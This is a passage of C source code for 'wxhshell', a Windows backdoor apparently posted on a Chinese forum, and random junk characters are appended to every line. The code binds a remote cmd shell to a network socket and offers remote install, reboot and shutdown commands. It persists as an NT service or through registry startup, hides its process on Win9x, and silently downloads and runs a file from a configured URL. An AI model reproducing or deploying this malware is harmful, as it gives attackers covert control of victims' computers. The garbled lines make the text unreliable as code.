  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p|r>tBv?x  
  } M%eTNsbNm  
  else { B an" H~  
U`4t4CHA  
    switch(cmd[0]) { w 3L+7V,!  
  %8"Aq  
  // 帮助 K!G/iz9SB  
  case '?': { (bogAi3<F  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ;p( Doy)i  
    break; ub{Yg5{3S\  
  } |y]8gL^  
  // 安装 ]"vpCL  
  case 'i': { WZ@$bf}f0  
    if(Install()) a3_pF~Qx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e5sQl1  
    else ^s/f.#'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VC NQ}h[D  
    break; wo) lkovd  
    } T "t%>g  
  // 卸载 n6GB2<y  
  case 'r': { W%}zwQ  
    if(Uninstall()) A@G%*\UZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MJ@PAwv"  
    else f@xjNm*'Z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `HM?Fc58  
    break; TP)}1 @  
    } %y\  
  // 显示 wxhshell 所在路径 ;[j)g,7{  
  case 'p': { v1s0kdR,>  
    char svExeFile[MAX_PATH]; 6.QzT(  
    strcpy(svExeFile,"\n\r"); )>^!X$`3  
      strcat(svExeFile,ExeFile); RMxFo\TK;  
        send(wsh,svExeFile,strlen(svExeFile),0); <a%RKjQvT  
    break; c0:`+>p2  
    } (yhnv Z  
  // 重启 kCU (Hi`Q  
  case 'b': { V0F&a~Q  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); .|3&lb6  
    if(Boot(REBOOT)) ksli-Px  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;[[oZ  
    else { +Rd;>s*.Y  
    closesocket(wsh); QpMi+q Y  
    ExitThread(0); Wr\A ->+  
    } $2pkh%  
    break; B["C~aF  
    } ]9NA3U7F  
  // 关机 IX 2 dic'  
  case 'd': { 7F wo t&  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); E(Y}*.\]#s  
    if(Boot(SHUTDOWN)) J0 x)NnWJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {3*Zx"e![  
    else { S/7?6y~  
    closesocket(wsh); jB%aHUF;  
    ExitThread(0); W 33MYw  
    } 7 y'2  
    break; _T.k/a  
    } JWvL  
  // 获取shell YS+|n%?  
  case 's': { QlK]2r9  
    CmdShell(wsh); oD&axNk  
    closesocket(wsh); ]?a i  
    ExitThread(0); ) i=.x+Q  
    break; jLv8K  
  } q2~@z-q)b  
  // 退出 R&]#@PW^  
  case 'x': { qv.s-@l8  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); x3Ze\N8w  
    CloseIt(wsh); swLrp 74  
    break; .FpeVjR''  
    } X6SWcJtSw  
  // 离开 bE>"DP q  
  case 'q': { $ucA.9pJ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); {>n\B~*,"C  
    closesocket(wsh); z6;6 o!ej  
    WSACleanup(); B6xM#)  
    exit(1); 5l4YYwd>v  
    break; G#nZ%qQ:I  
        } JBt2R=  
  } 2nkymEPu  
  } cZlDdr%  
/l1OC(hm  
  // 提示信息 :.aMhyh#*  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ="J *v>  
} 6tF_u D  
  } L(+I  
z~(3S8$  
  return; :kQydCuK  
} XDohfa _  
P+bA>lJd  
// shell模块句柄 ;{89*e*)  
int CmdShell(SOCKET sock) B nUWg ^E  
{ x7ZaI{    
STARTUPINFO si; V;29ieE!  
ZeroMemory(&si,sizeof(si)); +o-jMvK9  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (5a:O (\r  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; T7~H|%  
PROCESS_INFORMATION ProcessInfo; ^xm%~   
char cmdline[]="cmd"; Gy)2  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); MUn(ZnQy|  
  return 0; xM)6'= x6  
} {;vLM* '  
Yhte&,D"  
// 自身启动模式 s>*xAIx  
int StartFromService(void) 6GA+xr=  
{ z3I |jy1  
typedef struct L yH1tF  
{ Kf1NMin7  
  DWORD ExitStatus; }`.d4mm  
  DWORD PebBaseAddress; %+^Qs\j  
  DWORD AffinityMask; nvQTJ4,,  
  DWORD BasePriority; =M=v; ,I-  
  ULONG UniqueProcessId; Swr4De_5  
  ULONG InheritedFromUniqueProcessId; 1xI  
}   PROCESS_BASIC_INFORMATION; Vh{(*p  
sGa}Cf;H@g  
PROCNTQSIP NtQueryInformationProcess; |'-%d^ Z  
RdBIbm  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; EF6h>"']/  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; H*e+ 2  
dXfLN<nD>U  
  HANDLE             hProcess; S5V:HRj{?  
  PROCESS_BASIC_INFORMATION pbi; ocu,qL)W  
E>+>!On)b  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?lML+  
  if(NULL == hInst ) return 0; MU%7'J :_  
m*jTvn  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Xv3pKf-K  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Q':hmulT!  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *YSRZvD<\  
Z?xRSi2~7  
  if (!NtQueryInformationProcess) return 0; &d0sv5&s  
|Ve,Y  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); zy5FO<->  
  if(!hProcess) return 0; c]zFZJ6M  
L&s$&E%  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }wkY`"  
6tFi\,)E  
  CloseHandle(hProcess); t1]/Bw`j/  
z;!"i~fFK  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *MB >,HU  
if(hProcess==NULL) return 0; ()48>||  
2?SbkU/3|P  
HMODULE hMod; zCuB+r=C  
char procName[255]; X'-Yz7J?o  
unsigned long cbNeeded; S'5Zy} +x  
g/fpXO\  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); =YTcWB  
9! /kyyU  
  CloseHandle(hProcess); r0 )ne|&Hp  
QW$p{ zo  
if(strstr(procName,"services")) return 1; // 以服务启动 VX&PkGi?o  
-rn6ZSD)  
  return 0; // 注册表启动 J|].h  
} !3Pbu=(cte  
}Uwji  
// 主模块 2 U]d 1  
int StartWxhshell(LPSTR lpCmdLine) g (WP  
{ H#DvCw  
  SOCKET wsl;  -X71JU  
BOOL val=TRUE; s<)lC;#e  
  int port=0; 0'fswa)  
  struct sockaddr_in door; 0=#>w_B  
2Jio_Hk  
  if(wscfg.ws_autoins) Install(); YT Zi[/  
Z sTtSM\Ac  
port=atoi(lpCmdLine); hg(<>_~  
Ca PHF@6WN  
if(port<=0) port=wscfg.ws_port; > :IWRc2  
IF|6iKCE  
  WSADATA data; Cq"KKuf  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; n+Kv^Y`qxO  
PmRvjSIG  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   <"J]u@|  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); `(sb  
  door.sin_family = AF_INET; LWN {  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); odsFgh  
  door.sin_port = htons(port); =d<RgwscJ  
Y8\P"q b  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { IB/3=4n^|  
closesocket(wsl); A913*O: \  
return 1; Ve3z5d:^  
} |4Q*4s  
*[3xc*5F/A  
  if(listen(wsl,2) == INVALID_SOCKET) { hPDKxYD]f  
closesocket(wsl); GWnIy6TH l  
return 1; &)%+DUV|  
} qk1jmr  
  Wxhshell(wsl); &0Yg:{k$  
  WSACleanup(); ViPC Yt`of  
qW0:q.   
return 0; /Vn>(;lo  
z%%O-1   
} U]iI8c  
t'rN7.d  
// 以NT服务方式启动 LH8jT  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )  ?pTX4a&>  
{ ;Y$>WKsV  
DWORD   status = 0; 6Dlm. ~G  
  DWORD   specificError = 0xfffffff; &X$T "Dp  
:8A+2ra&  
  serviceStatus.dwServiceType     = SERVICE_WIN32; =?<WCR C*  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; H\67Pd(Z6  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; N{;!xI v  
  serviceStatus.dwWin32ExitCode     = 0; 1iy$n  
  serviceStatus.dwServiceSpecificExitCode = 0; &A QqI  
  serviceStatus.dwCheckPoint       = 0; n|w+08c"  
  serviceStatus.dwWaitHint       = 0; mgq!)  
{^VtD  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  Y'iX   
  if (hServiceStatusHandle==0) return; py*22Ua^  
OSgJj MQ  
status = GetLastError(); 8M,*w6P  
  if (status!=NO_ERROR) cO~<iy  
{ _ E;T"SC  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; za>UE,?h  
    serviceStatus.dwCheckPoint       = 0; ~VGnE:  
    serviceStatus.dwWaitHint       = 0;  zUfq.   
    serviceStatus.dwWin32ExitCode     = status; wVs?E  
    serviceStatus.dwServiceSpecificExitCode = specificError; >XD?zF)6  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Td=4V,BN  
    return; 2Je $SE8  
  } l!mbpFt  
 [XfR`@  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; c/;;zc  
  serviceStatus.dwCheckPoint       = 0; ~M C|  
  serviceStatus.dwWaitHint       = 0; Dyo v}y  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); e~o!Qm  
} i"2OsGT  
+)Z]<O  
// 处理NT服务事件,比如:启动、停止 jEc_!Q  
VOID WINAPI NTServiceHandler(DWORD fdwControl) {%V(Dd[B6  
{ ~ZHjP_5Q  
switch(fdwControl) *c0H_8e  
{ FaL\6w  
case SERVICE_CONTROL_STOP: *LT~:Gs#  
  serviceStatus.dwWin32ExitCode = 0; WJShN~ E  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; DD| 0?i  
  serviceStatus.dwCheckPoint   = 0; '%N?r,x C  
  serviceStatus.dwWaitHint     = 0; $@g]?*L:  
  { 7=G 2sOC  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &OMlW _FHR  
  } 2w?q7N%  
  return; vCzZjGBY  
case SERVICE_CONTROL_PAUSE: JzyCeM =  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; fqNh\~kja  
  break; k s40 5  
case SERVICE_CONTROL_CONTINUE: aO6\ e>  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; IpP%WW u  
  break; SeX]|?D  
case SERVICE_CONTROL_INTERROGATE: eV;r /4  
  break; 4>JSZ6i#n  
}; 7- B.<$uC  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Wn%P.`o#  
} !`69.v  
k[6J;/  
// 标准应用程序主函数 &5 CRXf  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) })g<I+]Hf9  
{ ?Oyo /?/  
cc@W 6W  
// 获取操作系统版本 -JW~_Q[  
OsIsNt=GetOsVer(); T(J'p4  
GetModuleFileName(NULL,ExeFile,MAX_PATH); HiCh:IP7>/  
ClG%zE&i  
  // 从命令行安装 { 3G  
  if(strpbrk(lpCmdLine,"iI")) Install(); mH o#"tc  
b--=GY))F  
  // 下载执行文件 8-Abg:)  
if(wscfg.ws_downexe) { M4^G3c<  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) *"%TAe7?~+  
  WinExec(wscfg.ws_filenam,SW_HIDE); C@(@n!o:!  
} tOwn M1 :(  
r- 8Awa  
if(!OsIsNt) { 6$u/N gS  
// 如果时win9x,隐藏进程并且设置为注册表启动 'aSsyD!?<  
HideProc(); X+X:nL.t  
StartWxhshell(lpCmdLine); Jo?LPR \6  
} ]so/AdT9hA  
else 2Q^ q$@L  
  if(StartFromService()) ah>c)1DA*H  
  // 以服务方式启动 #bOv}1,s  
  StartServiceCtrlDispatcher(DispatchTable); c%&,(NJ]K  
else ]'.qRTz'\t  
  // 普通方式启动 ]RVu[k8  
  StartWxhshell(lpCmdLine); ddn IKkOp  
uGU 2  
return 0; {X!vb  
}
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只看该作者 1 发表于: 2006-10-10
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